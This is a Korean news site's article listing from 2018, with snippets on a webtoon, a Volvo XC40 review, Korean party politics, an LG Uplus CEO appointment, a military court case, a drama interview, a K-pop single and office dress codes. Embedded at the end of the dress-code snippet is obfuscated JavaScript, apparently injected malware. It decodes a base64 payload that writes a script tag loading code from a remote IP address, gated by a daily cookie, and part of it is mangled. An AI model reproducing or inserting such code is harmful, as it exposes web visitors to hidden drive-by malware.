매력이 있다. 길지도 않은 12편으로 완결된 이 작품은 기존 웹툰들과는 결이 다른 매력을 보유하고 있다. 다만 말풍선을 기존 웹툰들과 달리 책 글귀처럼 배치한 시도는 일부 독자들에겐 다소 불편할 수도 있다. 어떤 인물이 어떤 얘기를 하는지 헷갈리는 측면이 있다. 형식상의 불편함은 있지만 ‘책 같은 웹툰’이라는 측면에서 보면 새로운 시도인만큼 참신하다는 평가다.사랑과 정민은 자신에게 부족한 부분들을 서로를 통해 충족시켜간다. (그림=레진엔터테인먼트)
2018.08.26 I 김정유 기자
프리미엄 콤팩트 SUV의 정수, 볼보 XC40
  • [타봤어요]프리미엄 콤팩트 SUV의 정수, 볼보 XC40
  • 더 뉴 XC40. 볼보코리아 제공[이데일리 노재웅 기자] 볼보자동차 스포츠유틸리티차량(SUV) 제품군의 마지막 조각인 ‘더 뉴 XC40’은 볼보 브랜드 설립 이후 90여년 만에 최초로 선보인 콤팩트 SUV다. 최근 국내에는 국산차와 수입차를 가리지 않고 수많은 소형 SUV가 쏟아진 만큼 후발주자로 나온 XC40을 대할 때 잣대는 더 엄격하고 까다로워질 수밖에 없다. 반대로, 그런 소비자들의 요구를 아는 만큼 볼보 역시 XC40에 집약하고 집약해 ‘프리미엄 콤팩트 SUV’에 걸맞은 모든 것을 담고자 노력한 흔적이 곳곳에 엿보인다.시승은 최근 브랜드가 마련한 시승행사를 통해 강원도 춘천과 경기도 가평, 남양주, 서울 도심까지 이어지는 240km 장거리 구간으로 진행했다. 미디어 시승회치곤 상당히 긴 거리에 다소 부담이 됐지만, 도심과 고속도로를 오가는 장거리 주행에도 피로감을 극복할 수 있다는 볼보 XC40만의 자신감이 느껴졌다.차량은 전장 4425㎜로 쌍용차(003620) 티볼리보다 크고 현대차(005380) 투싼보단 작은 차체를 갖추고 있다. 수입차 중에선 대표적인 소형 SUV인 BMW X1과 비슷한 수준이다. 외관은 간결하고 담백하다. 가로로 눕힌 Y자 풀LED 헤드램프를 제외하면 딱히 포인트를 준 구석도 없다. 갈수록 역동성을 강조한 디자인 기조가 강해지는 여타 브랜드들의 소형 SUV 추세와는 결을 달리한다고 볼 수 있다.반대로 실내는 볼거리가 많다. 다이아몬드 커팅공법으로 마감된 금속 장식을 넣은 대시보드가 먼저 시선을 사로잡는다. 운전석 왼쪽 도어 수납공간은 노트북을 넣을 수 있을 정도의 공간이 있다. 센터 콘솔에는 무선충전이 가능한 휴대전화 전용 공간은 물론 카드홀더와 갑티슈를 보관할 수 있는 공간이 있다. 여기에 앞좌석 시트 밑에 숨은 수납공간을 확보하고, 글로브박스 도어에는 접이식 고리를 설치하는 등 사용자의 편의를 생각한 배려의 흔적이 차량 내부 곳곳이 살아있다. 마치 풍부한 수납이 가능한 개인 서재를 사용하는 듯한 느낌이 들 수 있도록 설계한 것이 특징이다.더 뉴 XC40 T4는 최고출력 190마력, 최대토크 30.6kg·m의 성능을 내며, 전 트림에 사륜구동 시스템을 기본으로 탑재했다. 주행 퍼포먼스로 내세울 장점은 크지 않다. 주행모드도 5가지나 마련했지만 설정별로 체감할 수 있는 차이는 크지 않았다. 동급 SUV에선 찾아보기 힘든 반자율주행 시스템을 골자로 한 ‘편안한’ 운전에 포커스를 두는 편이 낫다.XC40에 탑재한 2세대 파일럿 어시스트는 최소 시속 15km에서 최대 시속 140km까지 넓은 구간에서 활용이 가능하다. 스티어링 휠 왼쪽의 키패드에 위치한 재생버튼(오른쪽 화살표 모양)을 눌러 기능을 실행하면 차선유지보조장치와 어댑티브 크루즈 컨트롤이 동시에 작동하면서 운전을 돕기 시작한다. 탁월한 조향 보조 능력 덕분에 운전대에 가하는 손의 힘이 덜하다보니 장거리 시승에도 몸의 무리가 덜했다. 특히 저속 구간에서도 활용할 수 있다는 점은 가다 서기를 반복하는 서울 도심에서 가속페달과 브레이크페달을 번갈아 밟아야 하는 번거로움을 줄여줘서 좋았다.볼보 더 뉴 XC40 출시가격은 모멘텀 4620만원, 인스크립션 5080만원, R-디자인 4880만원이다. 동급 수입 소형 SUV 대비 낮은 가격대로 시작하면서도 편의사양 면에선 오히려 앞서는 점은 국산차와 수입차 사이의 경계선에서 새로운 수요를 창출할 수 있을 법하다.더 뉴 XC40. 볼보코리아 제공
2018.08.02 I 노재웅 기자
‘역사 흐름’ 강조한 김병준…한국당 어디로 이끌까
  • [줌인]‘역사 흐름’ 강조한 김병준…한국당 어디로 이끌까
  • 김병준 한국당 비대위원장(사진=연합뉴스)[이데일리 김미영 기자] 김병준 자유한국당 비상대책위원장이 24일 비대위원 인선을 마무리짓고 당 쇄신 작업에 본격 착수했다. 김 위원장이 구상하는 한국당의 ‘리모델링’ 방향을 가늠하기 위해선 먼저 그의 지론에 주목할 필요가 있다.◇ “역사의 흐름은…자율적인 시장, 보충제 역할의 정부” 김 위원장은 ‘역사의 흐름’을 읽지 못한 점을 당 위기의 원인으로 진단했다. 시장과 공동체는 자율성이 강화되는 방향으로 변화하고, 시장과 공동체가 해결하지 못하는 양극화 해소와 복지, 안보 등 영역에서 정부는 보충제 역할을 담당해야 한다는 게 그가 바라보는 ‘역사의 흐름’ 일단이다.김 위원장은 각종 인터뷰와 기고글에서 “나는 자유시장주의자, 시장자본주의자”라고 규정한 뒤, “시장과 공동체의 자율이 우선이고 거기서 생기는 문제를 국가가 보충해줘야 한다. 이게 미래 가치, 미래 체제”라고 강조했다.이해를 돕기 위해 그가 예로 든 건 초중고교 내 자판기에 카페인 음료 판매를 금지한 ‘어린이 식생활 안전관리특별법’이다. 지방교육청 혹은 학교 단위에서의 자율적인 처리가 맞지, 법 개정을 통해 정부가 초·중·고교에 일률적 규제를 하는 건 지나치다는 인식이다. 주52시간 근로시간 단축을 법제화한 것도 ‘국가의 과도한 개입’ 사례로 꼽는다. 국가의 타율체제보다는 시장과 공동체의 자율체제 확립을 돕고 장려해야 한다는 것이다.그가 한국당에서 추구하고자 할 새 가치엔 ‘국가의 타율체제보다는 시장과 공동체의 자율체제 확립’이 포함될 것으로 보인다. 그의 목소리를 빌리면 이렇다. “오랫동안 우리는 타율의 세상을 살아왔다. 조선왕조 500년, 일제강점기 그리고 광복 이후의 권위주의 정부 시대의 역사가 그랬다. 곧장 집권과 규제의 칼날을 들이대기보다 어떻게 하면 자율의 정신과 습관을 기를 수 있게 할 것인가를 고민해야 한다.” 그러면서도 김 위원장은 국가, 정부 역할의 중요성도 간과하지 않는다. 그가 노무현정부의 청와대정책실장 시절 “헌법만큼 바꾸기 힘든 부동산제도를 만들겠다”며 종합부동산세 등을 입안했고, 지금도 이에 ‘강경’ 입장을 보이는 건 이 때문이다. 한정된 공공재를 투기 목적으로 삼지 못하게끔 정부가 보유과세를 강화하되 거래세는 낮추는 것이 국제추세에 맞다는 게 일관된 소신이다.◇ “보수주의 성장담론? 흐르지 않는 낙수”경제를 바라보는 김 위원장의 시선은 당내 쇄신파, 개혁파와 눈높이가 맞다는 평가다. 쇄신파로 불려온 김용태 의원을 사무총장으로 인선하면서 “저와 정치적 언어가 닮았다. 거의 저와 생각이 같다”고 밝힌 것도 이에 대한 방증으로 읽힌다.김 위원장이 진보는 물론 보수의 경제성장담론에도 비판적 입장을 유지해온 점 역시 마찬가지다. 그는 23일 “성장이론이 없는 진보주의는 문제가 많다”면서 문재인정부를 비판하기도 했지만, 실상 그의 화살은 보수로 향해 왔다. 그는 저서에서 보수주의의 성장담론을 “흐르지 않는 낙수”로 명명하며, ‘낙수효과론’은 더 이상 작동하지 않는다고 분석했다. 이익을 낸 대기업들이 투자보다는 사내유보금 축적 등에 나선 행태를 근거로 들었다. 대개는 기업의 편에 서왔던 한국당 주류 기조와는 결이 다르다. 이 때문에 종부세 등 특정 이슈를 넘어, 당이 지향해야 할 경제정책 방향을 놓고 김 위원장이 향후 당내 치열한 논쟁의 장을 펼 것이란 전망이 나온다.김 위원장엔 ‘노무현의 남자’라는 꼬리표가 달려 있다. 그 역시 이러한 수식어를 부인하지 않는다. 다만 “노무현 우파가 있고 노무현 좌파가 있는데 나는 노무현 우파”라는 말로 자신을 설명하고 있다. 노무현정부 초대 청와대 정책실장을 지낸 이정우 경북대 명예교수 등이 ‘노무현 좌파’인데 반해, 김 위원장은 그보다 오른편에 섰던 측근이었다는 얘기다. 그는 국민대 행정학부 교수를 지내면서 자치와 분권운동을 주도해왔고, 이 과정에서 재야 정치인이었던 노무현 전 대통령을 만나 연을 맺었다. 대선후보 시절부터 노무현정부 5년 내내 캠프 정책자문단장, 청와대정책실장, 대통령자문 정책기획위원장, 대통령 정책특보 등을 역임하며 참여정부 정책통으로 꼽혔다. ‘참여정부의 아이콘’ ‘왕의 머리’ 등으로도 불렸다.
2018.07.24 I 김미영 기자
하현회 LG유플러스 체제 출범..5G 전략, M&A 의지 관심
  • 하현회 LG유플러스 체제 출범..5G 전략, M&A 의지 관심
  • [이데일리 김현아 기자] LG유플러스가 16일 이사회를 열고 신임 대표이사 부회장으로 하현회(62) ㈜LG 부회장을 내정했다. 하 부회장은 1985년 LG금속으로 입사해 LG디스플레이,LG전자,㈜LG 등을 거친 제조업 경력이 많지만, 2015년 이상철 전 대표이사 부회장 시절부터 올해까지 LG유플러스의 비상무이사로 재직해온 만큼 통신에 대한 이해도 있다는 평가다.하 부회장은 2012년부터 2년간 (주)LG시너지 팀장을 맡아 신성장 분야(모바일 및 차세대 디스플레이, 에너지 솔루션 및 친환경 자동차부품 등)에서 계열사간 시너지 확대에 노력해온 만큼 통신을 벗어나 5G 기반 솔루션 및 서비스로 나가야 하는 LG유플러스에 도움이 될 것이란 기대감도 있다.하지만△정부의 요금인하 정책 지속으로 주력인 통신산업에선 성장이 불가능한 점 △중장기 성장동력 확보를 위한 연구개발(R&D)투자가 경쟁사들(SK텔레콤·KT)에 비해 부족했다는 점 △IPTV의 케이블TV업체 인수 등 미디어 시장 새판짜기가 진행 중이라는 점 등은 하 부회장에게 부담이다. LG유플러스는 16일 이사회를 개최, 신임 최고경영자(CEO)에 하현회 ㈜LG 대표이사 부회장을 선임했다. 하 부회장은 ㈜LG에서 계열사간 시너지를 창출한 경험을 바탕으로 LG유플러스의 본원적 경쟁력을 지속 강화하는 동시에 미래시장 개척을 위한 신성장동력 발굴에 집중해 나갈 예정이다. LG유플러스의 5G와 유료방송 등 미래 핵심 분야는 기존의 한계를 뛰어 넘어 과감한 혁신을 통해 고객에게 새로운 경험과 가치를 제공하는데 앞장서 나갈 계획이다.◇권영수 부회장과 다른 결…재무통아닌 전략통하현회 LG유플러스 부회장은 LG디스플레이 전략기획담당을 역임하는 등 조직 내 대표적인 경영기획통으로 꼽힌다. LG디스플레이가 치열한 경쟁을 이겨내고 글로벌 디스플레이 시장에서 1위로 올라서는데 큰 힘을 보탰다는 평가를 받았다. 2012년부터 차별화된 제품과 기술로 시장을 선도하기 위해 신설된 (주)LG 시너지팀장으로 재직하다 구본준 LG전자 부회장의 부름을 받고 LG전자 TV 사업을 총괄하는 HE사업본부장으로 자리를 옮겼다. 이후 OLED TV 시장 선도를 진두지휘했다.2015년부터 최근까지 ㈜LG를 이끌면서 그룹차원의 성장 동력 발굴을 담당하다, 이번에 LG유플러스 대표이사로 내정됐다.주요 경력은 △1956년생 △부산대 사학과, 와세다대 경영학 석사 △1985년 LG금속 입사 △2002년 LG디스플레이 전략기획담당 △2007년 LG디스플레이 중소형사업부장 △2010년 LG디스플레이 IT사업부장 △2012년 (주)LG 시너지팀장 △2014년 LG전자 HE사업본부장 △2015년 ㈜LG 대표이사 △2018년 LG유플러스 대표이사다.한편 하 부회장의 LG유플러스 CEO행으로 국내 통신3사 CEO는 모두 PK(부산·경남) 출신이 됐다.황창규 KT 회장은 부산고-서울대, 박정호 SK텔레콤 사장은 마산고-고려대, 하현회 LG유플러스 부회장은 부산 금성고-부산대 출신이다. 유영민 과하기술정보통신부 장관 역시 동래고-부산대 출신으로 그는 더불어민주당 부산 해운대구갑 위원장을 맡고 있다.◇5G 전략 유지될까…오픈 이노베이션 전략 수정여부, M&A 의지 관심LG유플러스는 그동안 ‘세계최초’나 ‘국산품 애용’보다는 ‘고객중심’, ‘가성비(가격대비성능) 위주’ 투자를 해 왔다.2013년 경매때 1조 2700억 원이라는 LG역사상 최대 금액을 입찰가로 제시했지만 1.8GHz 주파수를 뺏기면서 원치 않았던 주파수(2.6GHz)에 처음부터 투자해야 했을 때 LG는 여론의 비판에도 굴하지(?) 않고 중국 통신장비인 화웨이를 들여왔고 LTE 속도경쟁을 비용 효율적으로 할 수 있었다.경쟁사들이 인공지능(AI) 플랫폼 개발을 통해 자체 AI스피커를 들여왔을 때도 LG유플러스는 검색강자 네이버와 제휴했고, 지상파 방송사들 비롯한 미디어 업계의 반발 속에서도 9월 넷플릭스의 U+tv런칭을 준비 중이다.LG유플러스 한 임원은 “통신3위인 우리 입장에서 특정 분야에서 1위를 하는 글로벌 플레이어들과 제휴해 고객에게 최고의 가치를 주자는 오픈 이노베이션 전략 차원”이라고 설명했다.하지만,이런 행보는 규제기관과 갈등을 낳았을 뿐 아니라, 통신망이 사람뿐아니라 사물이나 공간으로 연결되는 5G 시대를 대비하기엔 역부족이라는 평가도 있다.정부 고위 관계자는 “LG유플러스뿐 아니라 통신사들은 새로운 먹거리를 만들어야 하는 절대절명의 과제에 직면했다”면서 “중장기적인 회사 발전을 위한 투자와 개발이 필요하다”고 밝혔다.구광모 LG 회장 취임과 더불어 앞당겨진 LG그룹 인사 때문에 권 부회장이 추진했던 CJ헬로 등 유료방송 인수합병(M&A)는 오히려 더 시간이 걸릴 것이란 전망이다. 미중 무역전쟁 속에서 그룹의 주력사업인 LG화학의 배터리 사업나 LG디스플레이의 LCD 수익성이 악화돼 최대 1조 원 정도 되는 유료방송 M&A를 밀어붙이기엔 현안에서 밀린다는 의미다.CJ헬로 고위 관계자도 “누구나 우리를 M&A하고 싶어하지만 아직 쿠킹이 완료된 단계는 아니다”라고 말했다.
2018.07.16 I 김현아 기자
  • 유격 참가 요구한 소대장에게 "시비 거냐" 한 병사…2심서 무죄
  • [이데일리 양희동 기자] 군대 내에서 병사가 상관인 소대장에게 “시비 거는 것이냐”고 따지며 언성을 높인데 대한 법원의 하극상 여부 판단이 1심과 2심에서 엇갈렸다.수원지법 형사4부(재판관 문성관)는 상관모욕 혐의로 기소된 피고인 윤모(25)씨에게 징역 6개월의 선고유예를 선고한 원심을 깨고 무죄를 선고했다고 14일 밝혔다. 윤씨는 병사로 군복무를 하던 중 소대장(중위)과 유격 훈련 참여 문제로 갈등을 빚다가 다른 병사들 앞에서 소대장을 모욕한 혐의로 재판에 넘겨져 1심에서는 유죄 판결을 받았다.판결문에 따르면 윤씨는 지난 2016년 9월 부대 내 유격장에서 간부들에게 건강상 이유로 유격훈련을 불참하겠다고 요구했지만, 소대장은 “군의관 진료 결과 별다른 이상이 없으니 유격훈련에 참여하고 어머니와 면담하겠다”라고 답했다. 이에 윤씨는 소대장을 손가락으로 가리키며 다른 상관에게 “소대장이 아픈데 쉬지도 못하게 하고 어머니랑 면담한다는데 이거 협박 아닙니까”라며 대꾸했다. 이에 소대장이 자신에게 욕설하자 “보셨습니까. 소대장이 제게 욕했습니다”라고 말했다. 같은해 10월에는 소대장이 자신의 부적절한 발언을 지적하며 진술서 작성을 요구하자 “(부적절한 발언) 안 했다고 하지 않습니까. 사람 아프게 해놓고 이런 것 쓰라고 하는 것은 시비 거는 것이지 않습니까”라며 언성을 높였다.1심 재판부는 검찰 측 주장을 받아들여 윤씨에게 유죄를 선고했지만 2심 판단은 무죄였다.재판부는 “첫 사건은 피고인이 유격훈련 참여 여부에 대해 피해자와 언쟁하던 중 다른 상관에게 시시비비를 가려달라는 취지의 발언을 하는 상황이었던 것으로 보이고 둘째는 진술서 작성을 거부하면서 다소 신경질적인 반응을 한 것으로 보이는데 두 번 모두 해당 언행을 한 사실과 공연성은 인정된다”고 판시했다. 그러면서 “당시 피고인이 경어를 썼고 욕설이나 반말을 하지는 않은 점까지 더해보면 피고인의 언행이 상명하복을 생명으로 하는 군조직의 특수성에 비춰 징계의 대상 또는 불손한 언행으로 평가되는 것과는 별개로 사람의 사회적 평가를 저하할 만한 추상적 판단이나 경멸적 감정의 표현과는 결이 다르다고 판단된다”고 무죄 선고 이유를 밝혔다.
2018.07.14 I 양희동 기자
‘서른이지만’ 조성희 작가 “신혜선, 좋은 배우란 믿음”
  • ‘서른이지만’ 조성희 작가 “신혜선, 좋은 배우란 믿음”
  • 사진=본팩토리 제공[이데일리 스타in 김윤지 기자]SBS 새 월화 미니시리즈 ‘서른이지만 열일곱입니다’(이하 ‘서른이지만’) 대본을 집필하는 조성희 작가가 주연 배우에 대한 깊은 신뢰를 드러냈다.‘서른이지만’ 측은 13일 오전 조성희 작가의 인터뷰를 공개했다. 조 작가는 “오랜만에 하는 작품이라 걱정도 많지만 좋은 배우들, 좋은 스태프들과 함께하게 돼 설렌다”고 소감을 밝혔다.특히 조 작가와 신혜선은 벌써 세 번째 호흡이다. 두 사람은 tvN ‘고교 처세왕’, MBC ‘그녀는 예뻤다’에 이어 ‘서른이지만’으로 재회하게 됐다. 조 작가는 “‘고교 처세왕’ 때 신인인데도 힘을 쫙 빼고 담백하게 연기하는 게 너무 좋았기 때문에 ‘그녀는 예뻤다’ 때도 무조건 같이 작업하고 싶었다. 그래서 당시 감독님께 꼭 같이하고 싶은 좋은 배우가 있다고 말씀드리고 혜선씨 쪽에 출연을 제안했었다”며 “어떤 캐릭터를 맡아도 그 인물처럼 보이게 연기해내는 좋은 배우란 믿음이 백 퍼센트를 넘어 만 퍼센트 정도 있었다”고 캐스팅 비화를 밝혔다. ‘서른이지만 열일곱입니다’는 열일곱에 코마에 빠져 서른이 돼 깨어난 여자(신혜선 분)와 세상과 단절하고 살아온 남자(양세종 분)의 로맨스를 담는다. ‘기름진 멜로’의 후속으로 오는 23일 밤 10시 첫 방송한다. 이하 인터뷰 전문이다. ―3년 만의 복귀 소감 △오랜만에 하는 작품이라 걱정도 많지만 좋은 배우들, 좋은 스태프들과 함께하게 돼 설렌다. 그동안 준비한 걸 시청자분들이 재미있게 봐주셨으면 좋겠다. ―캐스팅에 대해 △대본은 그 자체로는 무생물이다. 배우분들, 감독님들, 스태프분들이 모이고 움직여 주셔야 숨이 불어넣어지고 생명력이 생긴다. 모두 함께 작업해보고 싶었던 배우분들이었는데 기꺼이 제안에 응해 주시고 함께 만들어 갈 수 있게 돼 감사한 마음뿐이다. 신혜선씨와는 세 번째 작품인데 무조건적인 믿음이 있었다. 어떤 캐릭터를 맡아도 그 인물처럼 보이게 연기해내는 좋은 배우란 믿음이 백 퍼센트를 넘어 만 퍼센트 정도 있었다. 사실 기획 단계부터 서리 역을 혜선 씨에게 제안하고 싶었는데, 그 사이 ‘황금빛 내 인생’으로 워낙 국민적 인기를 얻으시기도 했고, 많은 곳에서 혜선 씨와 작업하고 싶어 한다는 걸 알고 있던 터라 ‘혹시 제안했을 때 안 한다고 하면 어떡하지’ 혼자 엄청 조마조마했다. 흔쾌히 서리를 맡아 주신다고 했을 때 안도의 한숨을 쉬었다. 그만큼 같이 작업하고 싶은 마음도, 믿음도 큰 배우였다.양세종씨는 굉장히 궁금한 배우였다. 듀얼에서 처음 보고 놀랐던 기억이 있다. 어떻게 저 나이에 저런 감정과 저런 눈빛을 보여줄 수 있는지 신기하기까지 했다. 이번 작품을 제안하고 첫 미팅 때 또 한 번 놀랐었다. 간단히 인사만 나누는 자리였는데 스치듯 하는 말들에서 대본 속 의도와 캐릭터를 이미 너무나 정확히 파악하고 있다는 게 느껴졌다. 속으로 ‘굉장히 똑똑한 배우구나!’ 란 생각을 수없이 했던 것 같다. 그리고 무엇보다 내가 생각한 우진과 너무 닮아있어 꼭 함께하고 싶었는데 기꺼이 우진으로 와주셔서 너무 감사하다. 극중 찬이는 멘탈이 굉장히 건강하고 결이 예쁜 소년이다. 그래서 배우 자체가 그런 느낌을 가진 분이면 좋겠다는 바람이 컸다. 안효섭씨를 만났을 때 찬이가 가진 그 건강함이 고스란히 느껴져 느낌이 참 좋았다. 건강하고 결이 선한 사람이란 인상을 강하게 받았고, 사람을 기분 좋게 만드는 에너지가 찬이와 닮았다고 생각해 꼭 함께 하고 싶었다. ―세번째 만남인 신혜선의 장점 △‘고교 처세왕’ 때 연기가 너무 자연스러워서 눈이 갔다. 신인인데도 힘을 쫙 빼고 담백하게 연기하는 게 너무 좋았기때문에 ‘그녀는 예뻤다’ 때도 무조건 같이 작업하고 싶었다. 그래서 당시 감독님께 꼭 같이하고 싶은 좋은 배우가 있다고 말씀드리고 혜선씨 쪽에 출연을 제안했었다. 앞서 말했듯 어떤 역할도 진짜 그 인물처럼 보이게 연기해낸다는 게 혜선씨의 가장 큰 강점인 것 같다.―조수원 감독과 협업 소감△조수원 감독님 특유의 청량한 연출 분위기를 좋아한다. 이번에 함께 하게 돼 기쁘고, 내 머릿속에만 있던 이야기들을 어떻게 멋지게 구현해주실지 기대된다. 내가 드라마만 썼던 작가가 아니라 아무래도 이야기를 풀어가는 방식이나 호흡, 표현 방법 등이 정통 드라마와는 다른 부분이 꽤 있을 거라고 생각한다. 감독님께서 그런 지점들을 낯설게 느끼실 수도 있는데, 새로운 재미로 받아주셔서 감사하다. 내가 갖지 못한 부분을 배우고 상호보완 해 좋은 시너지가 났으면 좋겠다. ―‘서른이지만 열일곱입니다’를 집필할 때 신경 쓴 부분 △엄청난 비극을 베이스로 하지만 최대한 밝고 유쾌하게, 따뜻하고 희망적인 터치로 풀어나가고 싶었다. 시청자분들께서 ‘작은 것들이 갖는 큰 힘에 대한 이야기’에 공감 해주셨으면 좋겠다. ―‘서른이지만 열일곱입니다’만의 매력 △남녀 간의 사랑만이 아닌 좀 더 넓은 범주의 다양한 사랑에 대한 이야기들이 전개된다. 피가 섞이지 않은 사람들의 다소 독특한 가족애, 삼촌 조카 사이의 애틋한 마음, 친구들 간의 끈끈한 우정 등.. 사람과 사람이 서로를 아끼고 생각하는 작은 마음들, 그 따뜻한 마음들이 누군가를 변화시키고 성장시키며 결국 큰 힘을 갖게 되는 과정을 매력적으로 봐주시면 좋겠다.그리고 곳곳에 숨어있는 미스터리 요소들도 많다. 그 수수께끼들이 어떻게 풀려 가는지 어떤 연결고리들을 갖고 있는지도 흥미롭게 봐주시면 좋겠다. ―‘서른이지만 열일곱입니다’의 시청 포인트 △열일곱에 머물러 있던 서리(신혜선)가 조금 뒤늦지만 어떻게 점점 진짜 어른으로 성장해 나가는지, 또 세상을 차단하고 살던 우진(양세종)이 어떻게 변하며 성장해 나가는지, 곳곳에 숨어 있는 아슬아슬한 비밀들이 언제 어떻게 밝혀질 것인지.. 이런 것들에 조금 더 집중해주시면 한층 재미있게 보실 수 있지 않을까 싶다. ―‘서른이지만 열일곱입니다’가 어떤 작품으로 기억되길 바라는지 △지쳐서 주저 앉아있을 때 잡고 일어나라고 누군가 내밀어 준 따뜻한 손같은, 조금이라도 위로가 되는 따뜻하고 희망적인 작품으로 기억해주시면 좋겠다.
2018.07.13 I 김윤지 기자
효린 측 "신곡은 '바다보러갈래'.. 여름 시원하게 물들일 것"
  • 효린 측 "신곡은 '바다보러갈래'.. 여름 시원하게 물들일 것"
  • 효린[이데일리 정시내 기자] 가수 효린이 신곡 ‘바다보러갈래’로 컴백한다. 11일 소속사 브리지 측은 “오는 20일 공개되는 효린의 ‘SET UP TIME’ 세 번째 싱글 제목은 ‘바다보러갈래(SEE SEA)’로, 블랙아이드필승이 프로듀싱에 참여했다”고 밝혔다.이날 오전 공식 SNS를 통해 공개된 이미지 속에는 파란 하늘 아래 뜨거운 태양을 만끽하며 탄탄한 몸매와 구릿빛 피부를 드러낸 효린의 모습이 담겨 있다.씨스타의 ‘터치 마이 바디(Touch my body)’, 트와이스의 ‘우아하게’, ‘치어 업(CHEER UP)’, ‘TT’, ‘라이키(LIKEY)’, 에이핑크의 ‘1도 없어’ 등 수많은 히트곡들을 배출한 블랙아이드필승은 오랜만에 효린과의 협업을 통해 다시 한 번 가요계를 뜨겁게 강타할 계획이다.소속사 측은 “앞서 첫 번째 싱글 ‘내일할래 (To Do List)’에서는 심플하면서도 아름다운 어쿠스틱 감성을, 두 번째 싱글 ‘달리(Dally)’로는 결이 다른 압도적 퍼포먼스를 선사한 효린은 가요계 대표 ‘서머퀸’의 귀환을 알린 이번 세 번째 싱글로 독보적인 매력을 발산하며 2018 여름을 더욱 시원하게 물들일 예정”이라고 전했다. 한편, 효린의 솔로 싱글 프로젝트 ‘셋 업 타임(SET UP TIME)’의 마지막 이야기 ‘바다보러갈래(SEE SEA)’는 오는 20일 오후 6시 각종 온라인 음원 사이트를 통해 공개된다.
2018.07.11 I 정시내 기자
  • [스냅타임] 꼰대 사용설명서 - "편하게 입고 오세요"
  • 출근 복장에 대한 제한이 없는 회사에 다니고 있는 박모(32·여)씨.평소 치마나 세미정장을 주로 입고 출근을 하던 그는 날씨가 추워져 스웨터에 바지를 입고 갔다. 하필 그날은 임원에게 보고가 있던 날. 박씨는 그날 선배로부터 들은 한 마디가 안 잊혀진다고 했다."너 옷 다 세탁한거야?"박씨는 "평소 회사선배들이 티셔츠를 입거나 편한 복장을 하는 분위기인데 임원보고가 있던 걸 생각하지 못하고 추운 것만 생각하고 따뜻하게만 입었다"고 말했다. 결국 그는 회사의 캐주얼 데이에도 상사에게 받은 지적 때문에 민망해 한동안 정장을 입고 다녔었다.정장을 입지 않아도 되는 회사에서 편하게 입고 오라는 말은 어떻게 받아들여야 할까?서울 광화문의 한 회사에서 과장인 박모(45)씨는 "편하게 입고 다니라는 말이 단정하지 않거나 더럽게 하고 다녀도 된다는 것은 아니다"고 말했다.그는 "특히 술을 마시고 회사 근처에서 잠을 자고 나와서 옷에 음식물이 묻은 상태로 나오는 부하직원의 복장은 최악"이라고 설명했다.박 과장은 "업무 차 외부 사람을 만날 때도 있는데 이것저것 묻은 옷이나 다림질이 필요한데 구겨진 옷을 입고 오는 것도 업무상으로도 부적절한 처사"라고 지적했다.그는 "회사 업무차 외부 사람을 만나러 가는 날은 상대방에게 호감을 줄 수 있도록 갖춰 입는 것도 필요하다"고 강조했다.그러면서 "평소에는 캐주얼이나 정장이든 복장 종류는 관계없이 편하게 입어도 되고 때에 따라서는 격식을 갖춰 입는 것이 현명하다"면서 "평소에도 청결하고 단정하게 입는 부하 직원에 대한 이미지가 좋을 수밖에 없다"고 말했다.박과장이 말하는 호감가는 부하직원의 복장은?첫째 평소에는 캐주얼 입어도 중요한 업무때는 정장 갖춰 입어야둘째 캐주얼 차림이어도 깔끔하고 단정하게 입는 직원이 호감 {var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}
2018.07.11 I 한정선 기자
"육아는 엄마만이 아닌 우리 모두의 몫이죠"
  • "육아는 엄마만이 아닌 우리 모두의 몫이죠"
  • 조경애 인구보건복지협회 사무총장[이데일리 함정선 기자] “맘충(아이 엄마를 비하하는 말) 팔자가 상팔자, 남자가 무슨 애를 보느냐. 인터넷에나 떠도는 말 같지만, 실제 육아에 참여하는 부모들이 주변에서 흔히 듣는 말입니다.”조경애 인구보건복지협회 사무총장은 올해 7번째인 11일 ‘인구의 날’을 맞아 각오가 남다르다. 올해는 어느 때보다 ‘인구절벽’ 위기감이 큰 해여서다. 올해 출산율이 1.0명 아래로 떨어지고, 한 해 신생아 수 30만명 선이 붕괴할 가능성이 크다. 올해 2월부터 인구보건복지협회 업무를 총괄하고 있는 조 사무총장은 임기 초기부터 출산과 육아 친화적인 환경 조성에 집중해왔다. 특히 그는 육아가 사회 모두의 책임임을 강조했다. 조 사무총장은 “인구 문제를 한 가정, 한 사람의 문제로 여기면 답이 없다”며 “저출산, 고령 사회에 대응하기 위해서는 남녀, 직장, 이웃, 지역사회 등에서 모두 함께 아이를 키워야 한다”고 했다. 인구보건복지협회는 올해 인구의 날을 준비하며 국민 공모를 통해 ‘혼자하면 힘든 육아, 함께하면 든든 육아’라는 슬로건을 내걸었다.조 사무총장은 “가장 큰 문제는 안 그래도 적은 출산아 수가 급격하게 줄어들고 있다는 점”이라며 “아이를 키우는 것에 대한 두려움을 없애고 부모뿐만 아니라 모두가 육아를 함께 한다는 인식을 확대하는 것이 시급하다”고 강조했다.이와 함께 인구보건복지협회는 기존과 차별화한 ‘육아수칙’을 개발해 적극적인 홍보에 나설 예정이다.시민들의 참여를 통해 육아를 힘들게 하는 말을 공모하고, 이를 이용해 육아수칙을 만든다. 이를테면 육아를 멸시하거나 육아 책임자를 엄마로 한정하는 말을 삼가자는 식이다. 저출산의 다양한 이유 중 개선이 시급한 과제로 조 사무총장은 “육아가 온전히 엄마, 여성의 책임이라고 보는 관점”이라고 손꼽았다. 그는 “적극적인 성평등이 이뤄질 때 ‘워라밸(일과 생활의 균형)’을 유지하는 삶을 살 수 있고, 그래야 저출산 문제도 해결할 수 있다”며 성평등과 워라밸이 